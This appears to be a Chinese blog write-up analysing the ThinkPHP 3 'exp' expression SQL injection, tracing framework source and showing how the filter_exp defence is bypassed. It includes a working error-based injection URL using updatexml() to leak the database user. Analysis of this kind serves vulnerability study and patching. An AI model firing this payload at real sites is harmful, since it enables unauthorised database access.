最近看java框架源碼也是看的有點頭疼,好多還要復習熟悉
還有好多事沒做...慢慢熬。
網上好像還沒有特別詳細的分析 我來誤人子弟吧。
0x01 tp3 中的exp表達式
查詢表達式的使用格式:
$map['字段名'] = array('表達式','查詢條件');
表達式不分大小寫,支持的查詢表達式有下面幾種,分別表示的含義是:
重點看exp
EXP表達式支持SQL語法查詢 sql注入非常容易產生。
$map['id'] = array('in','1,3,8');
可以改成:
$map['id'] = array('exp',' IN (1,3,8) ');
exp查詢的條件不會被當成字符串,所以后面的查詢條件可以使用任何SQL支持的語法,包括使用函數和字段名稱。查詢表達式不僅可用於查詢條件,也可以用於數據更新,例如:
支持更復雜的查詢情況 例如:
$User = M("User"); // 實例化User對象 // 要修改的數據對象屬性賦值 $data['name'] = 'ThinkPHP'; $data['score'] = array('exp','score+1');// 用戶的積分加1 $User->where('id=5')->save($data); // 根據條件保存修改的數據
表達式查詢
$map['字段1'] = array('表達式','查詢條件1'); $map['字段2'] = array('表達式','查詢條件2'); $Model->where($map)->select();
0x02 exp表達式注入分析
上面很簡單的演示了exp的使用,這時候傳入數組即可,使用exp模式然后使底層sql語句直接拼接產生注入
http://www.qing-tp3.com/index.php/home/index/index2/?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)
F7跟進
跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行
foreach ($where as $key=>$val){ if(is_numeric($key)){ $key = '_complex'; } if(0===strpos($key,'_')) { // 解析特殊條件表達式 $whereStr .= $this->parseThinkWhere($key,$val); }else{ // 查詢字段的安全過濾 // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){ // E(L('_EXPRESS_ERROR_').':'.$key); // } // 多條件支持 $multi = is_array($val) && isset($val['_multi']); $key = trim($key); if(strpos($key,'|')) { // 支持 name|title|nickname 方式定義查詢字段 $array = explode('|',$key); $str = array();
parseSQl組裝 替換表達式:
parseKey()
protected function parseKey(&$key) { $key = trim($key); if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) { $key = '`'.$key.'`'; } return $key; }
往下走到表達式過濾的方法:
filter_exp
function filter_exp(&$value){ if (in_array(strtolower($value),array('exp','or'))){ $value .= ' '; } }
I函數中重點代碼:
// 取值操作 $data = $input[$name]; is_array($data) && array_walk_recursive($data,'filter_exp'); $filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { if(is_string($filters)){ $filters = explode(',',$filters); }elseif(is_int($filters)){ $filters = array($filters); } foreach($filters as $filter){ if(function_exists($filter)) { $data = is_array($data)?array_map_recursive($filter,$data):$filter($data); // 參數過濾 }else{ $data = filter_var($data,is_int($filter)?$filter:filter_id($filter)); if(false === $data) { return isset($default)?$default:NULL; } } } } }else{ // 變量默認值 $data = isset($default)?$default:NULL; }
那么可以看到這里是沒有任何有效的過濾的 即時是filter_exp,如果寫的是
filter_exp在I函數的fiter之前,所以如果開發者這樣寫I('get.id', '', 'trim'),那么會直接清除掉exp后面的空格,導致過濾無效。
返回:
}else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr;